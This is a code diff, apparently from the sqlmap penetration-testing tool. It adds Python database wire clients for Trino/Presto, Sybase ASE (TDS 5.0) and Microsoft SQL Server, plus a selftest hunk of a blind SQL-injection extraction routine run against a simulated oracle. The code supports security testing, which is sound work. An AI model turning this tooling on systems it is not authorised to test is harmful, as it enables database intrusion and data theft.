from extra.dbwire import InterfaceError from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import http_origin
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
def _convert(value, coltype): def _convert(value, coltype):
@@ -72,9 +73,16 @@ class Cursor(object):
def close(self): def close(self):
self._rows = [] self._rows = []
def _split_pair(item):
"""'key=value' -> (key, value); a bare 'key' keeps a None value (Trino sends both forms)."""
key, sep, value = item.strip().partition("=")
return key.strip(), (value.strip() if sep else None)
class Connection(object): class Connection(object):
def __init__(self, host, port, user, password, catalog, schema, timeout): def __init__(self, host, port, user, password, catalog, schema, timeout):
self._statement_url = "http://%s:%d/v1/statement" % (host, port) self._statement_url = "%s/v1/statement" % http_origin(host, port)
self._timeout = timeout self._timeout = timeout
self._headers = {"Content-Type": "text/plain"} self._headers = {"Content-Type": "text/plain"}
for prefix in ("X-Presto-", "X-Trino-"): for prefix in ("X-Presto-", "X-Trino-"):
@@ -84,8 +92,8 @@ class Connection(object):
# request ("Schema is set but catalog is not"), so never force a "default" schema # request ("Schema is set but catalog is not"), so never force a "default" schema
if catalog: if catalog:
self._headers[prefix + "Catalog"] = catalog self._headers[prefix + "Catalog"] = catalog
if schema: if schema: # only inside the catalog branch: a Schema alone is rejected
self._headers[prefix + "Schema"] = schema self._headers[prefix + "Schema"] = schema
if password: if password:
token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii") token = base64.b64encode(("%s:%s" % (user or "", password)).encode("utf-8")).decode("ascii")
self._headers["Authorization"] = "Basic %s" % token self._headers["Authorization"] = "Basic %s" % token
@@ -102,16 +110,54 @@ class Connection(object):
def close(self): def close(self):
pass # HTTP is stateless pass # HTTP is stateless
def _apply_state(self, info):
"""
Carry the session state the server hands back into the headers of every later request.
The client protocol is stateless on the wire, so the SERVER cannot remember anything: it reports
each change as a response header and the client is required to echo it back. Ignoring them makes
'USE', 'SET SESSION', 'SET ROLE' and 'START TRANSACTION' appear to succeed and then silently have
no effect on the next statement.
"""
for prefix in ("X-Presto-", "X-Trino-"):
for suffix, header in (("Catalog", "Catalog"), ("Schema", "Schema"), ("Path", "Path")):
value = info.get((prefix + "Set-" + suffix).lower())
if value:
self._headers[prefix + header] = value
started = info.get((prefix + "Started-Transaction-Id").lower())
if started:
self._headers[prefix + "Transaction-Id"] = started
if info.get((prefix + "Clear-Transaction-Id").lower()):
self._headers.pop(prefix + "Transaction-Id", None)
# Set-Session / Set-Role accumulate as comma-separated 'key=value' pairs, and the matching
# Clear-* header removes one by name
for kind in ("Session", "Role"):
current = dict(_split_pair(_) for _ in (self._headers.get(prefix + kind) or "").split(",") if _)
for item in (info.get((prefix + "Set-" + kind).lower()) or "").split(","):
if item.strip():
key, value = _split_pair(item)
current[key] = value
for key in (info.get((prefix + "Clear-" + kind).lower()) or "").split(","):
current.pop(key.strip(), None)
if current:
self._headers[prefix + kind] = ",".join("%s=%s" % (k, v) if v is not None else k for k, v in sorted(current.items()))
else:
self._headers.pop(prefix + kind, None)
def _request(self, url, data=None): def _request(self, url, data=None):
req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers) req = Request(url, data=data.encode("utf-8") if data is not None else None, headers=self._headers)
try: try:
body = urlopen(req, timeout=self._timeout).read().decode("utf-8", "replace") response = urlopen(req, timeout=self._timeout)
body = response.read().decode("utf-8", "replace")
except HTTPError as ex: except HTTPError as ex:
raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200])) raise ProgrammingError("(remote) HTTP %s: %s" % (ex.code, ex.read().decode("utf-8", "replace")[:200]))
except URLError as ex: except URLError as ex:
raise OperationalError("(remote) %s" % ex) raise OperationalError("(remote) %s" % ex)
except (socket.timeout, socket.error) as ex: except (socket.timeout, socket.error) as ex:
raise OperationalError("(remote) %s" % ex) raise OperationalError("(remote) %s" % ex)
info = response.info()
self._apply_state(dict((k.lower(), v) for k, v in (info.items() if hasattr(info, "items") else [])))
try: try:
return json.loads(body) return json.loads(body)
except ValueError as ex: except ValueError as ex:
+429
View File
@@ -0,0 +1,429 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
Minimal pure-python Sybase ASE client speaking TDS 5.0 (stdlib only, no pymssql/FreeTDS).
Sybase and Microsoft share the 8-byte TDS packet framing (reused from tds.py) and part company at the
login: ASE speaks TDS 5.0, which means a fixed-layout LOGINREC instead of LOGIN7, a capability
negotiation, SQL sent as a LANGUAGE token in a normal packet, and results described by ROWFMT rather than
COLMETADATA. Cleartext login only. Read-oriented for sqlmap: execute() takes a fully-formed query string,
binary values come back as bytes (sqlmap hex-encodes them).
Two encodings look like their Microsoft namesakes and are not: DECIMAL/NUMERIC carries a big-endian
magnitude with 1 meaning *negative* (Microsoft is little-endian with 1 meaning positive), and DONE reports
a 4-byte row count (Microsoft uses 8).
"""
import os
import re
import socket
import struct
from extra.dbwire import DatabaseError
from extra.dbwire import DataError
from extra.dbwire import IntegrityError
from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError
from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import ProgrammingError
# the packet framing is byte-identical to the Microsoft dialect - only what travels inside it differs
from extra.dbwire.tds import _decode_datetime
from extra.dbwire.tds import _decode_money
from extra.dbwire.tds import _decode_smalldatetime
from extra.dbwire.tds import _read_message
from extra.dbwire.tds import _send_message
_PKT_LOGIN = 0x02
_PKT_NORMAL = 0x0f
_LOGIN_CHUNK = 504 # the login travels in 512-byte packets: the server's buffer is not negotiated yet
_PACKET_SIZE = 2048 # ASE's default 'max network packet size'; a bigger request is negotiated down
_HEADER_SIZE = 8
# tokens
_TOKEN_LANGUAGE = 0x21
_TOKEN_ROWFMT = 0xee
_TOKEN_ROWFMT2 = 0x61
_TOKEN_ROW = 0xd1
_TOKEN_CAPABILITY = 0xe2
_TOKEN_ENVCHANGE = 0xe3
_TOKEN_EED = 0xe5
_TOKEN_RETURNSTATUS = 0x79
_TOKEN_LOGOUT = 0x71
_TOKEN_DONE = frozenset((0xfd, 0xfe, 0xff)) # DONE / DONEPROC / DONEINPROC
_DONE_COUNT = 0x0010 # DONE status bit: the row count is meaningful
_ENV_PACKET_SIZE = 4 # ENVCHANGE type: the server's answer to the requested size
# SYB* datatype codes. Fixed-length types carry no per-value length; everything else is length-prefixed,
# and a zero length means NULL (TDS 5 cannot tell an empty string from NULL - neither can ASE itself).
_T_INT1, _T_BIT, _T_INT2, _T_INT4, _T_INT8 = 0x30, 0x32, 0x34, 0x38, 0xbf
_T_REAL, _T_FLT8, _T_MONEY, _T_MONEY4 = 0x3b, 0x3e, 0x3c, 0x7a
_T_DATETIME, _T_DATETIME4, _T_DATE, _T_TIME = 0x3d, 0x3a, 0x31, 0x33
_T_INTN, _T_FLTN, _T_MONEYN, _T_DATETIMN, _T_DATEN, _T_TIMEN = 0x26, 0x6d, 0x6e, 0x6f, 0x7b, 0x93
_T_DECIMAL, _T_NUMERIC = 0x6a, 0x6c
_T_CHAR, _T_VARCHAR, _T_BINARY, _T_VARBINARY, _T_NVARCHAR = 0x2f, 0x27, 0x2d, 0x25, 0x67
_T_TEXT, _T_IMAGE, _T_UNITEXT = 0x23, 0x22, 0xae
_T_LONGBINARY, _T_LONGCHAR = 0xe1, 0xaf
_T_BIGDATETIME, _T_BIGTIME = 0xbb, 0xbc
_T_BIGDATETIMEN, _T_BIGTIMEN = 0xbd, 0xbe
_T_VOID = 0x1f
_FIXED_LENGTH = {
_T_INT1: 1, _T_BIT: 1, _T_INT2: 2, _T_INT4: 4, _T_INT8: 8, _T_REAL: 4, _T_FLT8: 8,
_T_MONEY: 8, _T_MONEY4: 4, _T_DATETIME: 8, _T_DATETIME4: 4, _T_DATE: 4, _T_TIME: 4,
_T_BIGDATETIME: 8, _T_BIGTIME: 8, _T_VOID: 0,
}
_BLOB_TYPES = frozenset((_T_TEXT, _T_IMAGE, _T_UNITEXT)) # textptr + timestamp + 4-byte length
_LONG_TYPES = frozenset((_T_LONGBINARY, _T_LONGCHAR)) # 4-byte length
_BINARY_TYPES = frozenset((_T_BINARY, _T_VARBINARY, _T_IMAGE))
_DECIMAL_TYPES = frozenset((_T_DECIMAL, _T_NUMERIC))
# univarchar/unichar/unitext are carried as LONGBINARY/UNITEXT holding UTF-16 - only the user type says so
_UNICODE_USERTYPES = frozenset((34, 35, 36))
# a client that does not claim the date/time/bigdatetime capabilities gets those columns converted to a
# plain datetime, which is lossless but would render a date as '... 00:00:00'. The user type survives the
# conversion, so it is what says how much of the value the column actually holds.
_USERTYPE_DATE = 37
_USERTYPE_TIME = frozenset((38, 49))
_IDENTIFIER = re.compile(r"^[A-Za-z_#][A-Za-z0-9_#$]*$")
def _u8(data, off):
return struct.unpack("<B", data[off:off + 1])[0]
def _u16(data, off):
return struct.unpack("<H", data[off:off + 2])[0]
def _i32(data, off):
return struct.unpack("<i", data[off:off + 4])[0]
def _login_string(value, size):
# fixed-width field: `size` bytes of (truncated, NUL-padded) text followed by the actual length
data = (value or "").encode("utf-8")[:size]
return data + b"\x00" * (size - len(data)) + struct.pack("<B", len(data))
def _loginrec(host, user, password, appname, servername, charset, packetsize):
"""
The TDS 5.0 LOGINREC: one fixed 568-byte record, then a 35-byte CAPABILITY token.
Field order and widths mirror what ASE's own Open Client puts on the wire. The two reserved runs are
spare in every implementation that documents them (Open Client sets one byte inside the second run,
ASE accepts the record without it), so they go out as zeros rather than as an unexplained constant.
"""
out = _login_string(host, 30) # client host name
out += _login_string(user, 30) # user name
out += _login_string(password, 30) # password (cleartext)
out += _login_string("%d" % os.getpid(), 30) # client process id, as text
# number/char/date byte orders, then: notify on USE, refuse dump-load & bulk-copy, interface, network
out += struct.pack("<9B", 3, 1, 6, 10, 9, 1, 1, 0, 0)
out += b"\x00" * 7 # spare
out += _login_string(appname, 30) # application name
out += _login_string(servername, 30) # server name
remote = b"\x00" + struct.pack("<B", len(password or "")) + (password or "").encode("utf-8")
out += remote + b"\x00" * (255 - len(remote)) + struct.pack("<B", len(remote)) # remote passwords
out += struct.pack("<4B", 5, 0, 0, 0) # TDS version 5.0.0.0
out += _login_string("dbwire", 10) # library name
out += struct.pack("<4B", 1, 0, 0, 0) # library version
out += struct.pack("<3B", 0, 0x0d, 0x11) # auto-convert short, float4 & date4 formats
out += b"\x00" # reserved
out += _login_string("", 30) # language (empty -> the server default)
out += b"\x00" * 13 # notify-on-language-change, security & HA fields
out += _login_string(charset, 30) # client character set
out += b"\x00" # notify on character-set change
out += _login_string("%d" % packetsize, 6) # network packet size, as text
out += b"\x00" * 4 # spare
# capability negotiation: request bits say what the client can do, response bits what it wants back.
# All-zero is the baseline dialect - the wide/streaming formats a fallback client has no use for are
# exactly the ones it must not claim, or the server starts answering in them.
capability = struct.pack("<3B", _TOKEN_CAPABILITY, 32, 0)
capability += struct.pack("<2B", 1, 14) + b"\x00" * 14
capability += struct.pack("<2B", 2, 14) + b"\x00" * 14
return out + capability
class _Column(object):
__slots__ = ("name", "type", "size", "scale", "usertype")
def _parse_rowfmt(data, off, length, codec):
end = off + length
count = _u16(data, off); off += 2
columns = []
for _ in range(count):
col = _Column()
namelen = _u8(data, off); off += 1
col.name = data[off:off + namelen].decode(codec, "replace"); off += namelen
off += 1 # status (nullability - the value length says it)
col.usertype = _i32(data, off); off += 4
col.type = _u8(data, off); off += 1
col.size, col.scale = _FIXED_LENGTH.get(col.type, 0), 0
if col.type in _DECIMAL_TYPES:
col.size = _u8(data, off)
col.scale = _u8(data, off + 2) # precision (off + 1) is not needed to decode
off += 3
elif col.type in _BLOB_TYPES:
col.size = _i32(data, off); off += 4
off += 2 + _u16(data, off) # the blob's table name
elif col.type in _LONG_TYPES:
col.size = _i32(data, off); off += 4
elif col.type not in _FIXED_LENGTH:
col.size = _u8(data, off); off += 1
off += 1 + _u8(data, off) # locale
columns.append(col)
if off != end:
raise InterfaceError("malformed ROWFMT token (%d columns did not fill %d bytes)" % (count, length))
return columns, off
def _decode_numeric(raw, scale):
# sign byte then a BIG-endian magnitude, and 1 means NEGATIVE (the Microsoft encoding is the mirror
# image of this: little-endian, 1 == positive)
magnitude = 0
for b in bytearray(raw[1:]):
magnitude = (magnitude << 8) | b
value = -magnitude if bytearray(raw)[0] else magnitude
if scale:
text = "%0*d" % (scale + 1, abs(value))
return ("-" if value < 0 else "") + text[:-scale] + "." + text[-scale:]
return "%d" % value
def _decode_date(raw):
import datetime
return "%s" % (datetime.date(1900, 1, 1) + datetime.timedelta(days=_i32(raw, 0)))
def _decode_time(raw):
import datetime
ticks = struct.unpack("<I", raw)[0] # 300ths of a second since midnight
return "%s" % (datetime.datetime(1900, 1, 1) + datetime.timedelta(milliseconds=ticks * 10.0 / 3.0)).time()
def _decode_bigdatetime(raw, time_only=False):
import datetime
micros = struct.unpack("<Q", raw)[0] # microseconds since 0001-01-01 00:00:00
value = datetime.datetime(1, 1, 1) + datetime.timedelta(microseconds=micros)
return "%s" % (value.time() if time_only else value)
def _decode_value(col, raw, codec):
t = col.type
if t in (_T_INT1, _T_BIT) or (t == _T_INTN and len(raw) == 1):
value = bytearray(raw)[0] # tinyint is unsigned; bit is 0/1
return "%d" % value
if t == _T_INT2 or (t == _T_INTN and len(raw) == 2):
return "%d" % struct.unpack("<h", raw)[0]
if t == _T_INT4 or (t == _T_INTN and len(raw) == 4):
return "%d" % struct.unpack("<i", raw)[0]
if t == _T_INT8 or (t == _T_INTN and len(raw) == 8):
return "%d" % struct.unpack("<q", raw)[0]
if t in (_T_REAL, _T_FLT8, _T_FLTN):
return repr(struct.unpack("<f" if len(raw) == 4 else "<d", raw)[0])
if t in (_T_MONEY, _T_MONEY4, _T_MONEYN):
return _decode_money(raw)
if t in _DECIMAL_TYPES:
return _decode_numeric(raw, col.scale)
if t in (_T_DATETIME, _T_DATETIME4, _T_DATETIMN):
text = _decode_datetime(raw) if len(raw) == 8 else _decode_smalldatetime(raw)
if col.usertype == _USERTYPE_DATE:
return text.split(" ")[0]
if col.usertype in _USERTYPE_TIME:
return text.split(" ")[1]
return text
if t in (_T_DATE, _T_DATEN):
return _decode_date(raw)
if t in (_T_TIME, _T_TIMEN):
return _decode_time(raw)
if t in (_T_BIGDATETIME, _T_BIGDATETIMEN):
return _decode_bigdatetime(raw)
if t in (_T_BIGTIME, _T_BIGTIMEN):
return _decode_bigdatetime(raw, time_only=True)
if t in _BINARY_TYPES:
return raw # sqlmap hex-encodes binary columns
if t == _T_UNITEXT or col.usertype in _UNICODE_USERTYPES:
return raw.decode("utf-16-le", "replace")
if t in (_T_CHAR, _T_VARCHAR, _T_NVARCHAR, _T_LONGCHAR, _T_TEXT):
return raw.decode(codec, "replace")
return raw # LONGBINARY that is not unichar, a locator handle, an unmapped type: bytes, not a guess
def _read_value(col, data, off, codec):
if col.type in _FIXED_LENGTH:
size = _FIXED_LENGTH[col.type]
raw, off = data[off:off + size], off + size
if not size:
return None, off
elif col.type in _BLOB_TYPES:
ptrlen = _u8(data, off); off += 1
if not ptrlen:
return None, off # no text pointer -> NULL
off += ptrlen + 8 # text pointer + timestamp
length = _i32(data, off); off += 4
raw, off = data[off:off + length], off + length
elif col.type in _LONG_TYPES:
length = _i32(data, off); off += 4
if not length:
return None, off
raw, off = data[off:off + length], off + length
else:
length = _u8(data, off); off += 1
if not length:
return None, off
raw, off = data[off:off + length], off + length
return _decode_value(col, raw, codec), off
def _eed(data, off, codec):
# EED: number(4) state(1) class(1) sqlstate, status(1) transtate(2) message, server, procedure, line
number = _i32(data, off)
severity = _u8(data, off + 5)
pos = off + 6
pos += 1 + _u8(data, pos) # SQLSTATE
pos += 1 + 2 # status + transaction state
length = _u16(data, pos); pos += 2
return number, severity, data[pos:pos + length].decode(codec, "replace").strip()
def _raise_server_error(number, message):
if number in (2601, 2615, 2627, 1105, 546, 547): # duplicate key/row, constraint, foreign key
raise IntegrityError(message)
if number in (247, 249, 257, 260, 264, 512, 8115): # conversion, overflow, arithmetic
raise DataError(message)
raise ProgrammingError(message)
class Cursor(object):
def __init__(self, connection):
self.connection = connection
self.description = None
self.rowcount = -1
self._rows = []
self._pos = 0
def execute(self, query, params=None):
if params is not None:
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
self.description, self._rows, affected = self.connection._query(query)
self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1)
return self
def fetchall(self):
retVal = self._rows[self._pos:]
self._pos = len(self._rows)
return retVal
def fetchone(self):
if self._pos >= len(self._rows):
return None
retVal = self._rows[self._pos]
self._pos += 1
return retVal
def close(self):
self._rows = []
class Connection(object):
def __init__(self, sock, codec):
self._sock = sock
self._codec = codec
# a packet larger than the size agreed at login is not an error the server reports - it drops the
# connection, so every send has to be chopped to what the login negotiated (ENVCHANGE 4 below)
self._chunk = _PACKET_SIZE - _HEADER_SIZE
def cursor(self):
return Cursor(self)
def commit(self):
pass # sqlmap issues autonomous statements; ASE is in unchained (auto-commit) mode by default
def rollback(self):
pass
def close(self):
try:
_send_message(self._sock, _PKT_NORMAL, struct.pack("<2B", _TOKEN_LOGOUT, 0))
except Exception:
pass
try:
self._sock.close()
except Exception:
pass
def _query(self, query):
# LANGUAGE token: length covers the status byte and the (single-byte encoded) statement text
text = query.encode(self._codec, "replace")
token = struct.pack("<BiB", _TOKEN_LANGUAGE, len(text) + 1, 0) + text
_send_message(self._sock, _PKT_NORMAL, token, self._chunk)
try:
return self._read_response()
except (struct.error, IndexError, ValueError, KeyError) as ex:
raise InterfaceError("malformed server response: %s" % ex)
def _read_response(self, login=False):
data = _read_message(self._sock)
off, columns, rows, description, affected = 0, [], [], None, None
error = None
while off < len(data):
token = _u8(data, off); off += 1
if token == _TOKEN_ROWFMT:
length = _u16(data, off); off += 2
columns, off = _parse_rowfmt(data, off, length, self._codec)
description = [(c.name, c.type, None, None, None, c.scale, None) for c in columns]
rows, affected = [], None
elif token == _TOKEN_ROW:
row = []
for col in columns:
value, off = _read_value(col, data, off, self._codec)
row.append(value)
rows.append(tuple(row))
elif token in _TOKEN_DONE:
status, _transtate, count = struct.unpack("<HHi", data[off:off + 8]); off += 8
if status & _DONE_COUNT:
affected = count if affected is None else affected + count
elif token == _TOKEN_EED:
length = _u16(data, off)
number, severity, message = _eed(data, off + 2, self._codec)
if severity > 10: # 10 and below are informational (e.g. 'Changed database')
error = (number, "(remote) %s" % message)
off += 2 + length
elif token == _TOKEN_ENVCHANGE:
length = _u16(data, off)
if _u8(data, off + 2) == _ENV_PACKET_SIZE:
size = data[off + 4:off + 4 + _u8(data, off + 3)]
self._chunk = max(_LOGIN_CHUNK, int(size) - _HEADER_SIZE)
off += 2 + length
elif token == _TOKEN_RETURNSTATUS:
off += 4
elif token == _TOKEN_ROWFMT2:
raise NotSupportedError("the server answered with the wide ROWFMT2 format")
else:
off += 2 + _u16(data, off) # every other TDS 5 token is 2-byte length prefixed
if error is not None:
if login:
raise OperationalError(error[1])
_raise_server_error(*error)
return description, rows, affected
def connect(host=None, port=5000, user=None, password=None, database=None, connect_timeout=None, **kwargs):
charset, codec = kwargs.get("charset", "utf8"), "utf-8"
try:
sock = socket.create_connection((host or "localhost", int(port or 5000)), timeout=connect_timeout)
keepalive(sock)
except (socket.error, socket.timeout) as ex:
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
connection = Connection(sock, codec)
try:
login = _loginrec("dbwire", user or "", password or "", "dbwire", host or "localhost", charset, _PACKET_SIZE)
_send_message(sock, _PKT_LOGIN, login, _LOGIN_CHUNK)
connection._read_response(login=True)
handshake_done(sock)
if database:
if not _IDENTIFIER.match(database):
raise ProgrammingError("unsupported database name %r" % database)
connection._query("USE %s" % database)
except (DatabaseError, InterfaceError):
connection.close()
raise
except Exception as ex:
connection.close()
raise OperationalError("Sybase login failed (%s)" % ex)
return connection
+45 -28
View File
@@ -6,7 +6,10 @@ See the file 'LICENSE' for copying permission
""" """
""" """
Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server / Sybase (stdlib only). Minimal pure-python TDS (Tabular Data Stream) client for Microsoft SQL Server (stdlib only).
LOGIN7 / TDS 7.4 is the Microsoft dialect. Sybase ASE speaks TDS 5.0 - same 8-byte packet framing, but a
LOGINREC login and its own token/type dialect - and lives in sybase.py, which reuses the framing below.
Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption Cleartext login only (TDS pre-login encryption negotiated to NOT_SUP); a server that forces encryption
would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7, would need TLS-in-TDS which is out of scope for the dependency-free client. Implements PRELOGIN, LOGIN7,
@@ -22,9 +25,14 @@ from extra.dbwire import DatabaseError
from extra.dbwire import InterfaceError from extra.dbwire import InterfaceError
from extra.dbwire import NotSupportedError from extra.dbwire import NotSupportedError
from extra.dbwire import OperationalError from extra.dbwire import OperationalError
from extra.dbwire import connection_lost
from extra.dbwire import handshake_done
from extra.dbwire import keepalive
from extra.dbwire import recvn
from extra.dbwire import ProgrammingError from extra.dbwire import ProgrammingError
_MAX_MESSAGE_LENGTH = 0x40000000 _MAX_MESSAGE_LENGTH = 0x40000000
_DONE_COUNT = 0x0010 # DONE status bit: DoneRowCount carries a valid affected-row count
# packet types # packet types
_PKT_SQL_BATCH = 0x01 _PKT_SQL_BATCH = 0x01
@@ -35,18 +43,9 @@ _STATUS_EOM = 0x01
def _u8(data, off): def _u8(data, off):
return struct.unpack("<B", data[off:off + 1])[0] return struct.unpack("<B", data[off:off + 1])[0]
def _recvn(sock, n): def _send_message(sock, mtype, data, chunk_size=4088):
buf = b"" # split into <= 4096-byte packets (8-byte header + <=4088 data); only the last carries the EOM status
while len(buf) < n: # bit. chunk_size is smaller for a TDS 5 login, whose packet size is not negotiated yet (see sybase.py)
chunk = sock.recv(n - len(buf))
if not chunk:
raise InterfaceError("connection closed by server")
buf += chunk
return buf
def _send_message(sock, mtype, data):
# split into <= 4096-byte packets (8-byte header + <=4088 data); only the last carries the EOM status bit
chunk_size = 4088
packet_id = 0 packet_id = 0
off = 0 off = 0
while True: while True:
@@ -54,23 +53,32 @@ def _send_message(sock, mtype, data):
off += chunk_size off += chunk_size
last = off >= len(data) last = off >= len(data)
header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0) header = struct.pack(">BBHHBB", mtype, _STATUS_EOM if last else 0x00, len(chunk) + 8, 0, packet_id & 0xff, 0)
sock.sendall(header + chunk) try:
sock.sendall(header + chunk)
except (socket.error, OSError) as ex:
raise connection_lost(ex)
packet_id += 1 packet_id += 1
if last: if last:
break break
def _read_message(sock): def _read_message(sock):
# reassemble a full TDS message across packets (EOM status bit marks the last) # reassemble a full TDS message across packets (EOM status bit marks the last). The packet length is a
body = b"" # 16-bit field, so bounding IT against _MAX_MESSAGE_LENGTH can never trigger - a hostile peer simply
# never sets EOM and streams packets forever. Bound the accumulated message instead, and collect the
# chunks in a list so reassembly stays linear rather than re-copying a growing immutable buffer.
chunks, total = [], 0
while True: while True:
header = _recvn(sock, 8) header = recvn(sock, 8)
mtype, status, length = struct.unpack(">BBH", header[:4]) mtype, status, length = struct.unpack(">BBH", header[:4])
if length < 8 or length > _MAX_MESSAGE_LENGTH: if length < 8:
raise InterfaceError("invalid TDS packet length (%d)" % length) raise InterfaceError("invalid TDS packet length (%d)" % length)
body += _recvn(sock, length - 8) total += length - 8
if total > _MAX_MESSAGE_LENGTH:
raise InterfaceError("TDS message exceeds the maximum allowed length (%d bytes)" % _MAX_MESSAGE_LENGTH)
chunks.append(recvn(sock, length - 8))
if status & _STATUS_EOM: if status & _STATUS_EOM:
break break
return body return b"".join(chunks)
# ---- PRELOGIN ---------------------------------------------------------------------------------------- # ---- PRELOGIN ----------------------------------------------------------------------------------------
@@ -145,7 +153,10 @@ def _login7(sock, user, password, database, hostname="dbwire", appname="dbwire")
# ---- token stream + type decoding -------------------------------------------------------------------- # ---- token stream + type decoding --------------------------------------------------------------------
def _read_us_varchar(data, off): def _read_b_varchar(data, off):
# B_VARCHAR: 1-byte length in UCS-2 *characters* (not bytes), then that many 16-bit units. COLMETADATA's
# ColName is a B_VARCHAR (MS-TDS 2.2.7.4) - identifiers cap at 128 chars and an unaliased expression
# column comes back with an empty name, so the one-byte count cannot overflow.
(n,) = struct.unpack("<B", data[off:off + 1]) (n,) = struct.unpack("<B", data[off:off + 1])
return data[off + 1:off + 1 + n * 2].decode("utf-16-le", "replace"), off + 1 + n * 2 return data[off + 1:off + 1 + n * 2].decode("utf-16-le", "replace"), off + 1 + n * 2
@@ -465,12 +476,12 @@ def _decode_value(col, data, off):
def _parse_tokens(sock, login=False): def _parse_tokens(sock, login=False):
data = _read_message(sock) data = _read_message(sock)
off, columns, rows, description, error = 0, [], [], None, None off, columns, rows, description, error, affected = 0, [], [], None, None, None
while off < len(data): while off < len(data):
token = _u8(data, off); off += 1 token = _u8(data, off); off += 1
if token == 0x81: # COLMETADATA (a new result set: drop any prior rows so only the last is returned) if token == 0x81: # COLMETADATA (a new result set: drop any prior rows so only the last is returned)
(count,) = struct.unpack("<H", data[off:off + 2]); off += 2 (count,) = struct.unpack("<H", data[off:off + 2]); off += 2
columns, rows = [], [] columns, rows, affected = [], [], None
if count == 0xffff: if count == 0xffff:
continue continue
for _ in range(count): for _ in range(count):
@@ -481,7 +492,7 @@ def _parse_tokens(sock, login=False):
(numparts,) = struct.unpack("<B", data[off:off + 1]); off += 1 (numparts,) = struct.unpack("<B", data[off:off + 1]); off += 1
for _ in range(numparts): for _ in range(numparts):
(plen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + plen * 2 (plen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + plen * 2
col.name, off = _read_us_varchar(data, off) col.name, off = _read_b_varchar(data, off)
columns.append(col) columns.append(col)
description = [(c.name, c.type, None, None, None, None, None) for c in columns] description = [(c.name, c.type, None, None, None, None, None) for c in columns]
elif token == 0xd1: # ROW elif token == 0xd1: # ROW
@@ -518,6 +529,9 @@ def _parse_tokens(sock, login=False):
elif token == 0xa9: # ORDER elif token == 0xa9: # ORDER
(tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen (tlen,) = struct.unpack("<H", data[off:off + 2]); off += 2 + tlen
elif token in (0xfd, 0xfe, 0xff): # DONE / DONEPROC / DONEINPROC elif token in (0xfd, 0xfe, 0xff): # DONE / DONEPROC / DONEINPROC
status, _curcmd, rowcount = struct.unpack("<HHq", data[off:off + 12])
if status & _DONE_COUNT: # only then is DoneRowCount meaningful (MS-TDS 2.2.7.5)
affected = rowcount if affected is None else affected + rowcount
off += 12 off += 12
else: else:
raise InterfaceError("unexpected TDS token 0x%02x" % token) raise InterfaceError("unexpected TDS token 0x%02x" % token)
@@ -526,7 +540,7 @@ def _parse_tokens(sock, login=False):
if login: if login:
raise OperationalError("(remote) %s" % error) raise OperationalError("(remote) %s" % error)
raise ProgrammingError("(remote) %s" % error) raise ProgrammingError("(remote) %s" % error)
return description, rows return description, rows, affected
class Cursor(object): class Cursor(object):
def __init__(self, connection): def __init__(self, connection):
@@ -540,8 +554,10 @@ class Cursor(object):
if params is not None: if params is not None:
raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string")
self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0
self.description, self._rows = self.connection._query(query) self.description, self._rows, affected = self.connection._query(query)
self.rowcount = len(self._rows) # a result-producing statement reports what it returned; DML has no rows, so the server's
# DoneRowCount is the only place its affected-row count exists
self.rowcount = len(self._rows) if self.description is not None else (affected if affected is not None else -1)
return self return self
def fetchall(self): def fetchall(self):
@@ -590,13 +606,14 @@ class Connection(object):
def connect(host=None, port=1433, user=None, password=None, database=None, connect_timeout=None, **kwargs): def connect(host=None, port=1433, user=None, password=None, database=None, connect_timeout=None, **kwargs):
try: try:
sock = socket.create_connection((host or "localhost", int(port or 1433)), timeout=connect_timeout) sock = socket.create_connection((host or "localhost", int(port or 1433)), timeout=connect_timeout)
sock.settimeout(None) keepalive(sock)
except (socket.error, socket.timeout) as ex: except (socket.error, socket.timeout) as ex:
raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex)) raise OperationalError("could not connect to '%s:%s' (%s)" % (host, port, ex))
try: try:
_prelogin(sock) _prelogin(sock)
_login7(sock, user, password, database) _login7(sock, user, password, database)
handshake_done(sock)
except (DatabaseError, InterfaceError): except (DatabaseError, InterfaceError):
try: try:
sock.close() sock.close()
+1 -1
View File
@@ -105,7 +105,7 @@ def _selftest():
esp.discover() esp.discover()
got = esp.extract("(SELECT name FROM users WHERE id=1)") got = esp.extract("(SELECT name FROM users WHERE id=1)")
assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got) assert got == "Admin-42", "quorum extraction (seed %d) failed: %r" % (seed, got)
print(" quorum=6 under 20%% noisy oracle (12%% err + 8%% lies) -> 'Admin-42' across 4 seeds") print(" quorum=6 under 20% noisy oracle (12% err + 8% lies) -> 'Admin-42' across 4 seeds")
# -- integrity guards (peer-review round 4) -------------------------------- # -- integrity guards (peer-review round 4) --------------------------------
# empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated # empty/NULL are falsey; a bounded prefix (incl. limit=0) is incomplete+truncated
+347
View File
@@ -65,6 +65,7 @@ def _jwt_parse(token):
